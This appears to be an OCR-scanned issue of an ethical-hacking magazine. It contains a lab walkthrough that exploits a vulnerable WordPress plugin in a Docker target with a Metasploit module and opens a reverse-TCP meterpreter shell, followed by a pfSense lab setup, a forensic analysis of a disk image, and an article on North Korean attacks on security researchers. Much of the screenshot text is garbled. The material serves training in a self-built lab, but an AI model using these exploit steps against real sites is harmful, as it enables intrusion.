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Login into the wordpress dashboard with the credentials you set up.
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pload the plugin and activate it.

$ c¢cd Downloads
$ s

s i

[ . ]

Iﬂlllll-dlﬂmrrq

WordPress Responsive Thumbaall Slider




Now, start Metasploit and load the wp responsive thumbnail slider upload

msfb > use exploit/multi/http/wp_responsive_thumbnail_slider_upload
No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp responsive thumbnail _slider upload) > show options

Module options (exploit/multi/http/wp _responsive thumbnail slider upload):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port|,type:host:port

. )
RHOSTS yes The target host(s), range CIDR identifier, or hosts fi

with syntax 'file:<path>’

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for WordPress

VHOST no HTTP server virtual host

WPPASSWORD yes WordPress Password to authenticate with
WPUSERNAME admin yes WordPress Username to authenticate with

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
LHOST 192.168.36.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Set the docker container IP address (172.22.0.3) and check if the target is vulnerable.

msfé exploit(multi/http/wp_responsive thumbnail_slider upload) > set rhosts 172.22.0.3
rhosts = 172.22.0.3
msf6 exploit(multi/http/wp_responsive thumbnail_slider _upload) > check
172.22.0.3:80 - The target appears to be vulnerable.
msf6 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > §

he check command confirms that the target is indeed vulnerable. It's time to exploit it. Set
he Ihost option to the IP address of the gateway (172.22.0.1). Set the WPusername and wp
password options to the credentials you have set in the beginning and then execute the mod-
ule.

msf6 exploit(multi/hetp asive thumbnail slider upload) > set lhost 172.22.0.1
Lhost =% 172.22.0.1

msfé exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set wppassword admin
wppassword =% admin

msf6 exploit(multi/http/wp_responsive_ thumbnail_slider_upload) > run

Started reverse TCP handler on 172.22.0.1:4444
[+] Logged into WordPress with admin:admin
l+] Successful upload

Sending stage (39282 bytes) to 172.22.0.3

Meterpreter session 1 opened (172.22.0.1:4444 — 172.22.0.3:42696) at 2021-02-17 09:06:01 -0
500

meterpreter > uuid

L+] UUID: 287d930005¢c731b3/php=15/11nux=6/2021-02-17T14:06:012

meterpreter > sysinfo

Computer : 2522cc4B24ae

0S : Linux 2522cc4@24ae 5.4.0-kali3-amd64 #1 SMP Debian 5.4.13-1kalil (2020-01-20) x86_
64

Meterpreter : php/linux

meterpreter > getuid

Server username: www-data (33)

meterpreter > j

he target we set on docker is exploited successfully. The Vulhub Lab we set up is working
uccessfully.




RWHS JAN 2021 LAB

HACKING LAB y

In Ethical Hacking, penetration testers face different scenarios. Different scenari-
|0s need different Labs fro practice. Only when a user practices in different scenarios
will he get hands on experience of these scenarios. Some of these labs are available
online. However, they are quite expensive. Another way of creating these labs is to bu
-y hardware like computers and switches. We at Hackercool Magazine decided to star
-t this new section in which we will be giving our readers some practical experience o
-f creating various hacking labs. One of the reasons we want to do this is give a head-
Is up to our readers about our own Real World Hacking Scenarios. Unlike the other lab-
s, we will be using virtualized software for this. We hope readers will enjoy this featur
-e too just like other Features of this Magazine.

In this LAB, we will create a scenario in which the attacker system is behind a router. This is
th -e same scenario used in the Real World Hacking Scenario (RWHS) of this month's Issue.
F- or this, the first thing we need is a router software. In our previous Issues, we have used
the Vyos router software. For this scenario, we will be using PfSense as router.

PfSense is an open source firewall and router software that can also be used as load
balancer, Unified Threat Management etc. It's graphical interface simplifies router managem
-ent for users. We performed this installation on Vmware although the process is same on
\Virtualbox too. The download information of PfSense is given in our Downloads section. Dow

-nload the latest PfSense Iso file (we have used PfSense 2.4.5) and start the installation proc
-eSS normally.

Helcome to plfSense

1. Boot Multi User [Enter)

' Boot [S)lingle User
[Esc lape to loader prompt
Reboot

Uptions:
. [Klernel: kernel (1 of 2)
b. Configure Boot [Olptions...

/boot/7kernel7kernel text=8x18db928 data=8Hx1313db8+8BxdfccfiB syms=[BxB+HBx1abbib+Hx
H+dxlal8el]

Booting. ..




pfSense Installer

Copuright and distribution notice
pfSense is Copyright 2884-2828 Rubicon Communications, LLC (Netgate).
pfSense is a federally registered trademark of Electric Sheep Fencing,
LLC. Any unauthorized use of this trademark is prohibited by state and
federal law and international law. Refer to our Trademark Usage Guidelines
for how to properly use the marks. All rights reserved.

Absolutely No Commercial Distribution Is Allowed.

Ccept>

===
pfSense Installer

WHelcome to pfSense!?

Install Install pfSense

Rescue Shell Launch a shell for rescue operations
Recover contig.o»ml Recover config.xml from a previous install

I (Cancel>

pfSense Installer

Partitioning

How would you like to partition your disk?

Huto (UFS) uided Disk Setup

Manual Manual Disk Setup (experts)
Shell Open a shell and partition by hand
Auto 2850 Guided Root-on-2FS

m {Cancel)




pfSense Installer

Fetchi ng Histribution

MANIFEST [ Done
base. txz §  68x

Fetching distribution files. ..

Uverall Progress
bBX% \

pfSense Installer

Hrchive Extraction

Extracting distribution files...

base.txz. ..

Overall Progress:

pfSense Installer

Manual Configuration
The installation is now finished.
Before exiting the installer, would
you like to open a shell in the new
system to make any final manual
modifications?

Cves > NI




pfSense Installer

Complete
Installation of pfSense
complete?! Hould you like
to reboot into the
installed system now?

GRATHE] <Shell >

Just like any other router, this needs to have two network interfaces. One interface acts as a
IWAN interface and the other as a LAN interface. In Virtualbox, we need to create two host-
lonly interfaces in the Host Network Manager. One with DHCP enabled and the other with DH
ICP disabled.

il Host Network Manager L] X

Network

- _— pr—

d& B o

Create Remove Properties

Name IPvd Address/Mask IPvb Address/Mask DHCP Server

VirtualBox Host-Only Ethernet Adapter 192.168.205.1/24 t/] Enable

VirtualBox Host-Only Ethernet Adapter #2 192.168.69.1/24 | | Enable

VirtualBox Host-Only Fthernet Adanter 23 /228 121724 [ 1 Fnable v

Adapter DHCP Server
Configure Adapter Automatically
® Confioure Adapter Manually
IPv4 Address: |192.168.205.1
IPv4 Network Mask: |255.255.255.0
Close
In Vmware, go to the virtual network editor and create a new host- only network with followin-

ig configuration. In Vmware, the NAT interface acts as WAN interface and the newly created
vmnetS host - only netwok acts as a LAN interface.




In the Virtual Machine settings of PfSense, add a new network adapter and assign it the new

ly created host - only network.

@ Virtual Network Editor X
Name Type External Connection Host Connection DHCP Subnet Address
Winet0  Bridged  Realtek RTL8723BE Wireless... - . .
VMnet!  Hostonly - Connectad Enabled  192.168.160.0
VMnet3 Host-only Connected 192.168,55.0
VMnet4 Host-only - Connected - 192.168.41.0
VMnets  Hostonly - Connected Enabled  192.168.64.0
VMnetS  NAT NAT Connected Enabled  192.168.36.0
VMnet Informaton

(C) Brdged (connect YMs drectly to the external network)

Bridged to: Realtek RTLE7238E Wireless LAN 802.11n PCIENIC v Automatc Settngs...
(O NAT (shared host's IP address with VMs) NAT Settings. ..
(®) Host-only (connect VMs internally in a private network)

[ ] Connect a host virtual adapter to this network

Host vrtual adapter name: YMware Network Adapter YMnetS

(] Use local DHCP service to distribute [P address to VMs DHCP Settings...
Subnet IP: | 192, 168 . 226 . 0 Subnet mask: | 255 . 255 . 255, 0

Virtual Machine Settings
Hardware  Options
1

Dewce Summary
[ Memor y 256 M8
Ghﬂt—n |
3 Hard Dask (SCSI) 2068
& coovo aoe) Auto detect
G Network Adapter NAT
[ Deplay Auto detect

Devce statis
Corvecieag

[ Connect at power on

Network connecbon
()1 Brdged: Connected drecty to the physcal network

Rephcate physcal networy cormechon state

() NAT; Used to share the host's IP address

(L) Host-only: A prvate network shared with the host
(®) Custom: Specfic v tual network

WnetS v
LAN segment:




ense machine. You should see two networ

<{ACPI PCI-PCI bridge> at device 24.4 on pciH

[GIANT-LOCRED]

{ACPI PCI-PCI bridge> at device 24.5 on pcih

[(GIANT-LOCRKED]

: <ACPI PCI-PCI bridge> at device 24.6 on pcib

pcib33: [GIANT-LOCRKRED]
pcib34: <ACPI PCI-PCI bridge> at device 24.7 on pciBh
pcib34: [GIANT-LOCKED]
acpi_acadB: <AC Adapter> on acpi@B
atkbdcH: <{Keyboard controller (i8H42))> port BxbH,8xb4 irq 1 on acpi¥
atkbd8d: <AT Keyboard> irq 1 on atkbdcH
kbd8 at atkbd®
atkbdB8: [GIANT-LOCKED]
psm: <PS572 Mouse> irq 12 on atkbdcH
psmB: [GIANT-LOCRED]
psMd: model IntelliMouse, device ID 3
acpi_syscontainerf: <{System Container> on acpib
orMd: <ISA Option ROMs> at iomem HxcHBBB-Hxc71f1f,Bxc888B-BxcY9fff, 6 BxcaBBB-Bxcafff
, AxcbHHH-Hxchi !  HxdcHHH-Hxd {11l K HxeHHHH-Hxe/fff on i1saH
vgaB: <Generic ISA UGA> at port Bx3cB-8x3df iomem BxaBBBB-Bxbffff on isa#B
ppcB: cannot reserve 170 port range
Timecounters tick every 18.888 msec
aMH: link state changed to UP

am1: link state changed to UP
-

he booting process will then take you to the interface as shown below. You will be given var
lous options to configure the router.

otarting syslog...done.

starting CRUN... done.

pfoense Z2.4.5-RELEASE (Patch 1) amdbd Tue Jun HZ 17:51:17 EDT 28728
Bootup complete

FreeBSD7amdbd (pfSense. localdomain) (ttyvul)
UMiware Uirtual Machine Netgate levice 11: 4b6539Y913beZ258Y94cbelY1c
wen LHelcome to pfSense 2.4.5-RELEASE-pl (amdb4) on pfSense wwex

HAN (wan) > emMH > v4/71IHEP4: 1897.168. 36. 154774
LAN (lan) > eml > v4: 192.168.1.1724

B) Logout (SSH only) 9) pfTop

1) Assign Interfaces 18) Filter Logs

ZY Set 1ntertTacels) TP address 11) Restart weblonfigurator

3) Reset weblonfigurator password 12) PHP shell + pidoense tools

4) Reset to factory defaults 13) Update from console

S) Reboot system 14) Enable Secure Shell (sshd)
b) Halt system 15) Restore recent configuration
7) Ping host 1b) Restart PHP-FPHM

B) Shell

Enter an option: .

he WAN interface should already take a IP address from Vmware (NAT) DHCP server. The
second (LAN) interface needs to be configured manually. Any router acts as a DHCP server
and automatically gives IP addresses to devices connected to its LAN network (This scenario
IS similar to your home router taking external |IP address from your Internet Service Provider
and acting as DHCP server to your LAN network). Select option 2 to configure the LAN inter
face.




UMware Uirtual Machine Netgate levice [D: 46599136e25894chbeY1c
wun Lelcome to pfSense 2.4, .5-RELEASE-pl (amdb4) on pfSense w»ww

WAN (Wan) > emH > v4/1JHCP4: 1927. 168B.36.154/214
LHN (lan) > em] » 94 19272.168.1.1724

H) Logout (55H only) 9) piTop

1) Assign Interfaces 18) Filter Logs

2) Set interface(s) 1P address 11) Restart webConfigurator

}) Reset weblonfigurator password 12) PHP shell + pfSense tools

4) Reset to factory defaults 13) Update from console

5) Reboot system 14) Enable Secure Shell (sshd)
h) Halt sustem 15) Restore recent configuration
7) Ping host 16) Restart PHP-FPM

8) Shell

Enter an option:
vailable interfaces:

HMHN (emH dhcp, dhcpb)
LAN (em] static)

Enter the number of the interface you wish to configure:

enter the new LAN 1PV address. Press <ENTER> for none:
192.168.66. 1

elect interface 2 since we want to configure LAN network and enter a static |P address for t-
he Pfsense router. Then add a subnet mask.

subnet masks are entered as bit counts (as | CIDR notation) in pfsense.
i 203 £00: 8 29
299.255.8.8 1b
255.8.8.8 o

Enter the new LAN [1Pv4 subnet bit count (]

» 255.255.255.98

Enter the new LAN 1Pv4 subnet bit count (]

£29D.299.255.0 249

Enter the new LAN [1Pv4 subnet bit count (1 to

24}
Next, enable DHCP server and the IP address range on the LAN interface.
for a WAN, enter the new LAN [Pv4 upstream gateway address.

For a LAN, press <ENTER> for none:

l;l

Enter the nedw LAN 1Puvb address. Press <ENTER> for none:

Uo vou Hwant to enable the DHCLP server on LHANY? (y/n) vy

Enter the start address of the [Pud4d client address range: 192.168.66.5
tnter the end address of the [Pv4 client address range: [1972.168.b6b.5H
Jisabling 1Pvb DHCPD. ..

Jo you want to revert to HTTP as the webConfigurator protocol? (y/n) B
Please wait while the changes are saved to LAN

Reloading filter...

Reloading routing configuration.

UHCPD. ..

Restarting webConfigurator...




The [1Pv4d LAN address ha been set to 197.168.b60b. 17749
(O CcCan noW acce the weblonfigurator by opening the following URL 1n your

DroEsSerr

http://192. 168.66. 1

‘ress ENTER 10O continue,.
,|H|--J1|.I-'4‘ l,Jii ?HJI Mai }Iiii‘r‘ HE'T”-\tF’ “"'_’jl i [Il ‘1"”!"1;] 3f.r-_”|i§‘l-1| tll'IIIF

 Welcome to inif.* 2 7.4 5-RELEASE ll1 lamdbd ) on erf-t‘u P e

HMHN (Wan) - » 4/10HEPA 192.168. 36. 154
!“H | !-i!l| ) e 19/ ]l'ri'! bbb 1 Zq

The LAN interface is configured successfully. Now connect another machine to the internal
network (vmnetS) of the Pfsense router and access the router from a browser using the IP ad
~dress (192.168.66.1) we just configured.

A

lPisense

SIGN IN

The default credentials are "admin" and "pfsense”. Log in and click on "next”.

wWizard

- W

Welcome 1o pfSense® software'

pt ftense software v developed and manmained Dy l‘lff(}.l!f'

o e
>




All the options should be already set. Unless you know what you are doing, keep clicking the

'‘Next" button.
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hange the administrator password if you want.
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lick on "Reload" for the new changes to take effect.
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Wizard / pfSense Setup/ Reload configuration
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lick on "Finish".
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Wizard / pfSense Setup / Wizard completed

E
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Congratulations! pfSense is now configured
We rec ormmend that you Chek 0 wee @ tThere are any soffeare updates rvadabée Keepng your soffeane up 0 date = one Of the mos! mporand Tengs you Can 90 10 maentan the socury of your nehecn
Remember. we're here 10 help
Click hare 10 mam about Netgale 247734 suppon services
User survey
Pease hedp ol e peopee nyolved nommproyng and eapandng pfSense sofftwane by tahong a moment [0 anseet thes shorl sunvey (8 anseens are anOmymous
Anonymous User Survey
Useful resources
* Learn more aboul Netgate's product line. services, and pfiense software rom our webiite
* To learm about Netgate appliances and other offers. visil our store
+ Become part of the pfSense community Vismt our forum
+ Subscribe to our "ewsleter for ongoing procduct information, software announcements and special offers

All your doubts, queries and questions related to ethical hacking and penetration
testing can be mailed to
editor@hackercoolmagazine.com
or you can get to us at our Facebook Page
Hackercool Magazine or

tweet to us at @hackercoolmagz
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he Lab is almost ready. Check whether if a machine in the LAN can access internet.
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Next, set the targets. We will be using two targets : Monitoring CTF Machine and Cherry CTF
machine. Install them and assign the NAT interface to them.

——

>
1.
f
State Powered off
Lonfiguration fde: ¢ 1.
Hardware compatiblity s coctatiorn
Primary IP sddresw "ietoon
| 2

State: §
Configur ation flle F sk, a0
Hardware compatibility: O orintation 155 virtusl machone
Prumary IF address "ot o oo J f oo 1

The LAB is complete and ready to use.




HACKING CASE

FORENISCS

i

On 09/20/04, a Dell CPi notebook computer, serial # VLQLW, was found abandorA
d along with a wireless PCMCIA card and an external homemade 802.11b antennae. It
s suspected that this computer was used for hacking purposes, although cannot be
tied to a hacking suspect, G=r=e=g S=c=h=a=r=d=t. (The equal signs are just to preven
t web crawlers from indexing this name; there are no equal signs in the image files.)
Schardt also goes by the online nickname of “Mr. Evil” and some of his associates ha-
ve said that he would park his vehicle within range of Wireless Access Points (like
Starbucks and other T-Mobile Hotspots) where he would then intercept internet traffic,
ttempting to get credit card numbers, usernames & passwords. Find any hacking sof
tware, evidence of their use, and any data that might have been generated. Attempt to
tie the computer to the suspect, G=r=e=g S=c=h=a=r=d=t. A DD image and a EnCase
image of the abandoned computer have already been made. /

IAn Encase Image of a suspected Dell Latitude laptop is available to us. The download inform
-ation for this Encase Image is given in our Downloads section. The mission is to analyze thi-
Is Encase Image and answer around 20 questions that solve this case. The questions are als
-0 provided by the same people who provided this Hacking Case to us.
Although there are many Forensic analysis tools available, we will use Autopsy tool to an
-alyse this image and solve the case. Autopsy is an open source digital forensics tool that act
- as a graphical interface for Sleuthkit. As our readers will soon see, it is fast and very easy
to use this tool. The cross platform tool is used by law enforcement agencies, military agenci-
s and corporate forensic analysts to find out about a hacking attack. It is installed by default
E’l various pen testing distros.
But we have decided to use Autopsy on a Windows 10 machine. The download link for the
Windows version of Autopsy is given in our Downloads section. After downloading the .msi
file, install it just like any other Windows misi file. Once the program is installed, open it. Click

on "New Case".
L)

Case View Took Window MHelp

—
+ Aidd Cata Sapsuw -J"-rlg'.'. N . ey il 9 = s ) = Tewwlrw . L . o . e g Hegm | . . T - iy = iy r ._. e

| Welkcome x

Autopsy*

OPEN | EXTENSIBLE | FAST —




Give a name to the present case. We have named it "Hacking_ Case".
L

Steps 1 aer Irdoremat wen

] i s Informusl msn

-

IAssign a number to the case and provide the name of the Forensic investigator. Our case nu
-mber is 00 and the investigator is Luke Reckah.

' i ;
She pra Optmnal Informates

F ptmrnsl Lnformaten e

e —— . ——— - -

Next, select the type of source. Select "Disk Image”.




Sleps

1 Seleit Type of Dala
source 1o Add
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Select the Data Source. You need to download two Encase Images. Select the first part of th
e encase images downloaded.

-

Next, select all the ingest modules you want to run. Ingest modules are all the tests that can
be run on the image to gather information about it. These ingest modules include tests like h-
lash lookup, email parsing etc. We selected all.
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Autopsy will start analyzing the image. It may take some time to completely analyze the imag

2. However, it will start displaying findings as soon as it finds them. Let the image analysis fi
nish.
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After the image analysis is finished, all the extracted information can be found on the left side
of the program window.
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It's time to start answering questions.

1. What is the image hash? Does the acquisition and verification hash match?

In Forensics, as soon as a image is acquired to performs analysis on it, a hash is calculated
o check if the file integrity is intact and not compromised. If the acquisition and verification




ash do not match, it means our forensic analysis has changed the image which is not at all
ntended. The image hash is "AEE4FCD9301C03B3B054623CA261959A". It is found in the

File Meta data section.
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2. What operating system was used on the computer?

The operating system information can be found in the operating system information of the ext
racted content.
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[The operating system is Windows XP.
3. Who is the registered owner?




e information about the registered owner of the computer is found in the same operating s-|
ystem info section in extracted content.

M Hecking Case - Autopsy 4170 - 0 »
Cose View Took Window Melp
S
-f-n#m-m.w Ec—m om o=, Teaire ‘,Lnlnuu & GereateReport g Close Case r G - Leyword st o reyword ew
« O e =
Cpeer 801G Syites [nformaton I Resits
¢ B Deta Sources ® | Table Thumbrad
= B Ve
§ £ FisTypes Save Table s CS5v
¥ 3 Duleted Mes Swectwry Date Sewrce g wm fame Dete Trme Pam Preduct D Owrer “rgarirator
i NIB e Soe .
: ‘ g * Y * 1
+ [ Exvacres Comtert | [ Cnbimtide r201 [Maowh Windows 1220040819 234627 BT_[CAMDEOWS _[SSEI4-640 01473062304 [Gog s [N |
ew Encyplon Suspecied (1)
=  Exterwon Mamatch Detecied (§)
w  iwtaled Prog e (1)
e taciats (10]

*a Cperatng Systes Indormator (1)

B Coeratrg Systes User Account (8)

& Recert Docusents ()

W R Progrees (B1) Lf
% Sl Bags (31)

B USE Devce Attached (1)

§ Vet Bocmarta (8] ¢

& Veb Comars (24)

& b Mstory (B87) Men Teat Agpkostor  Fle Meladats Seaim  Avwtstors  Ofher Ocosrercoes
@ web Sewrch (9 | Remit: 1 of w Remdt - P Oper a8 Sraten bnformation
& Ngyword 'ty
5 Snge Lter s Feyword Seerch D) Souses
+ & Snge Reguls Expresson Search (0) Aot Aetvty | &
§ N Emal Addresses (11287) Recent Acpaty
*  rasuet e Recent Aty
o N EMal Memages , |-
¢ 89 Defaut MDefeut! .
U'l

he name of the owner of this computer is "Greg Schardt".
4. When was the install date?

he install date can be found in the same operating system info section just below the OS inf
ormation.
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e OS on the computer was installed on 19-08-2004 22:48:27.

5. What is the computer account name?




he computer account name on this computer is found in the same section.
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e computer account name is N-1TASODNG6ZXK4LQ.

6. How many accounts are recorded?

he information about the user accounts is found in the Operating system user account secti

on.
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here are total five user accounts on the target computer. They are Administrator, Mr. Evil, S

PPORT_388945a0, Guest and HelpAssistant.

7. What is the account name of the user who mostly uses the computer?




n the same section, the count section shows how many times the user logged in.

M Hacking Case - Autopsy 4170 - 0 x
Cose Vew Tookh Window Help
-i—-“hhrﬂ.w Et‘_-u- OMEM ‘lhﬂw‘ b Gererste Beport .:h.t- r G =+ eyword Lnt & rryeord tew

& O g
Ciperatng Svstem Uner herourt 8 Aendts

Table Thumbral
Lave Tabie aa Oy

B U8 Devce Attached (1)
&  veo Booamants (8) « b >

& Wb Cooclies (24
L Wb etory (387)
@ vebSewr (9
% Epyegrd Mt
i & Snge Lawesl Keyword Searth (0)
i N Snge Reguis Expresson Search (0)
& ~ Emal e (1187
b adtaet
- WL Mal Messages
¢ B Defaut Metas v

W'’

he user Mr.Evil has logged in 15 times while the others didn't even log in once. So Mr.Evil is
he user who mostly uses the computer.

8. Who was the last user to logon to the computer?

he information about the last user to logon to this computer can be found from the Date acc

assed column of the user account.
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he last user to logon to this computer is Mr.Evil.

9. Find 6 installed programs that may be used for hacking?




e programs installed on the computer system can be found out from the Tnstalled program-

s section of the extracted content.
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here are total 32 programs installed on the computer and from them, there are seven progr-
ams that can be used for hacking. They are Ethereal 0.10.6 v.0.10.6, Network Stumbler 0.4.0
, Look@LAN 2.50 Build 29, 123 Write All Stored Passwords, CuteFTP, Cain & Abel v2.5

betad5 and Anonymizer Bar 2.0.

10. Perform a Anti-Virus check. Are there any viruses on the computer?
alicious files (if any) are found in the Interesting Items section of the extracted content.
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here is one malware present on the computer system. It is a zip bomb.

(To Be Continued)




North Korea targeted cybersecurity researchers using a blend of hacking and
espionage

CYBER WAR ,

A\
The next level of sophistication is spear-phish

Paulo Shakarian -ing. Here people are targeted with messages

Associate Professor Of Computer Science that include information that is specific to the-
Arizona State University m or their organizations, which increases the

likelihood that someone will click a malicious
North Korean hackers have staged an audaci- link

ous attack targeting cybersecurity researcher- The North Korean operation is at a higher

s, many of whom work to counter hackers fro- | o oy spear-phishing because it targeted

:n pla_trzﬁs ":te I\:(o'rth Ifor:a, R;:'.sstl-a, :.‘,I:imaﬁa:d people who are security-minded by the nature
P EIAR S RIS TOW SRS NGO SRONNS: oo dhl occupation. This required the hackers

0 deceive specific people, which raises the le y, .o 1e convincing social media accounts co

vel of social engineering, or phishing attacks, . ote with content about cybersecurity, incl-

and enters the realm of spy tradecraft. uding videos, that could fool cybersecurity res
The attack, reported by Google -earchers

researchers, centereq on fa_ke soc}al media a- The North Korean operation highlights
counts on platforms including Twitter. The three important tren-
ake personas, posing | € hackers enticed the researchers i Steal‘;’ng .
as ethical hackers, [0 click links to shared code Projects,zeanons from industry,

ontacted security res- renopgijtories of software related to social media as a weap

parchers with oflers Rybersecurity research - that contained-on, and the blurring
ollaborate on resea

. bl n of cyber and information warfare.
he social media accounts includednahaous CO{.‘! q’heft 0]; Cyber\:veapons From

ontent about cybersecurity and faked videos Industry
_U_fPUﬂi"Q to show new cybersecurity vulnera- g .0 the North Korean operation, the theft
bilities. of cyberweapons made headlines at the end

The hackers enticed the researchers to
lick links to shared code projects — repositori
es of software related to cybersecurity resear
ch — that contained malicious code designed
o give the hackers access to the researchers’
omputers. Several cybersecurity researchers

reported that they fell victim to the attack.

From Phishing To Espionage
he lowest level of social engineering hack is
a typical phishing attack: impersonal message
s sent to many people in the hopes that som-
eone will be duped into clicking on a maliciou-

s link. Phishing attacks have generally been o

: the r lcsie S[“‘j .93”3’ zori(:’_ a sr:de eﬁect‘ of -ency disclosed a list of vulnerabilities — ways
© pandemic-ariven Work-irom-nome environ y,at software and networks can be hacked —

ment in which people are sometimes less Vigi .. \vere exploited by Chinese state-sponsor-

'ant. This is also why ransomware has beco- o4 packers. Despite these warnings the vulne
me prevalent.

of 2020. In particular, December’s FireEye bre
-ach resulted in the theft of tools used by ethic
-al hackers. These tools were used to crack th
-e security of corporate clients to show the cli-
ents their vulnerabilities.

This prior incident, attributed to Russia,
illustrates how hackers attempted to augment
their arsenals of cyberweapons by stealing fro
m a commercial cybersecurity firm. The North
Korean action against security researchers sh
-ows that they've adopted a similar strategy,
though with a different tactic.

Back in the fall, the National Security Ag




rabilities Back in the fall, the National Securit- greater technical capabilities of the U.S.

Agency disclosed a list of vulnerabilities - In addition, the North Koreans appear to
ays that software and networks can be hack haye used one of their most valuable cyber w-

ed — that were exploited by Chinese state-sp- o555 in this operation. Google reported that

onsored hackers. Despite these warnings the it appeared the hackers used a means of expl

ulnerabilities have persisted, and information .. -
about how to exploit them could be found on -ofting a zero-day vuinerabllity — a software fia
-w that is not widely known - in Google's

social media and the dark web. This informati- :
on was clear and detailed enough that my co- Chrome browser in the attack on the cyber se

mpany, CYR3CON, was able to use machine -Curity researchers. Once such an exploit is u-
earning to predict the use of these vulnerabilit sed, people are alerted to defend against it an

ies. -d becomes much less effective.
2. The Weaponization Of Social Media Setting The Stage For Something
Information operations — collecting informatio- Bigger?

n and disseminating disinformation — on socia In cybersecurity, big news items tend to be ev
| media have become abundant in recent yea -ents like the Sunburst operation by Russian
rs, especially those conducted by Russia. Thi hackers in December — large-scale cyber atta-
s includes using “social bots” to spread false cks that cause a great deal of damage. In the

information. This “pathogenic social media”  Sunburst attack, Russian hackers booby-

has been used by national"Once such an exploit is used, trapped widely used

intelligence operatives ancbeople are alerted to defend software, which gave the
ordinary hackers alike. -m access to the network-

Traditionally, this agamSt it and becomes much less s of numerous corpor
pe of targeting has been designed to effective.” -ations and government agencies.
oither spread disinformation or entice an exec These large events are often proceeded
utive or high-ranking government employee by smaller events in which new techniques ar-
o click on a malicious link. In contrast, the No e experimented with — often without making a
rth Korean operation was aimed at stealing large impact. While time will tell if this is true
yberweapons and information about vulnera- of the North Korean operation, the three curre

bilities. -nt trends — stealing cyberweapons from indus
3. The Confluence Of Cyber And -try, social media as a weapon, and the blurrin
Information Warfare -g of cyber and information warfare — are harb

Outside of the United States — especially in C- -ingers of things to come.
hina and Russia — cyberoperations are consid
ered part of a broader concept of information .
arfare. The Russians, in particular, have pro Ar'tl Cl e
ved very adept at combining information oper
ations and cyberoperations. Information warf- .
are includes using traditional spy tradecraft — F I rSt
operatives with false identities attempting to

gain the trust of their targets — to collect and
disseminate infcarrn::ltion.g A p p e a re d
The attack against cybersecurity
researchers could indicate that North Korea is O n
aking cues from these other powers. The low
cost ability of a second-tier authoritarian regi- th econvers at| on.com
me like North Korea to weaponize social medi
a provides it an advantage against the much




WHAT"'S NEW

ﬁataLocker Inc, the leading provider of encryption solutions has released a new breed
of encrypted USB drive, the DL4 FE. The USB drive with capacity upto 15.3 TB is available
Iboth as Solid State Drive (SSD) and a Hard Disk Drive (HDD). The DL4 FE is built to FIPS
140-2 Level 3 device standards and incorporating a Common Criteria EALS+ certified control
Her. It provides AES-256 bit Datal.ocker 4 FE hardware based encryption to prevent
ithe data from being compromised. Apart from this, its security features include remote device
idetonation that allows admins to destroy the data remotely, Silentkill which allows destroying
lencryption data instantly using a special code, Ranomizable touchscreen keypad to prevent
urface analysis of fingerprints and n onboard anti-malware to scan and delete malicious
files on the USB drive. The USB drive is compatible with most operating systems like
Windows and Linux if it is capable of connecting to an external mass storage device. /

DOWNLOADS

1. Open Media Vault NAS :
https://sourceforge.net/projects/openmediavault/files/

2. Cherry : 1
https://www.vulnhub.com/entry/cherry-1,552/

3. Monitoring : 1
https://www.vulnhub.com/entry/monitoring-1,555/

4. Vulhub
https://github.com/vulhub/vulhub/

5. PFSense
https://www.pfsense.org/download/

6. Wp-responsive-thumbnail-slider plugin
https://www.exploit-db.com/apps/f5d34e16d07e61ad6826d2c1f3d16089-
wp-responsive-thumbnail-slider.zip

7. Autopsy
https://www.autopsy.com/download/

8. Hacking Case EnCase Images
https://www.cfreds.nist.qov/Hacking Case.html
Download both "EnCase image" and "second part”




SOME USEFUL RESOURCES

\ J
i ™
Check whether your email is a part of any data breach now.

https://haveibeenpwned.com

. y
r p
Have a look at our Github repository

https://github.com/hackercoolmagz/vulnera )

.

2 2 N

Tweel to us. Follow Us on Facebook
hackercoolmagz Hackercool Magazine
\ A Y,
d N
Mail To Us At :
editor@hackercoolmagazine.com
. support@hackercoolmagazine.com )
r N
Our Blog
: https://hackercoolmagazine/blog y
' N\

Visit Our New Website

https://hackercoolmagazine.com
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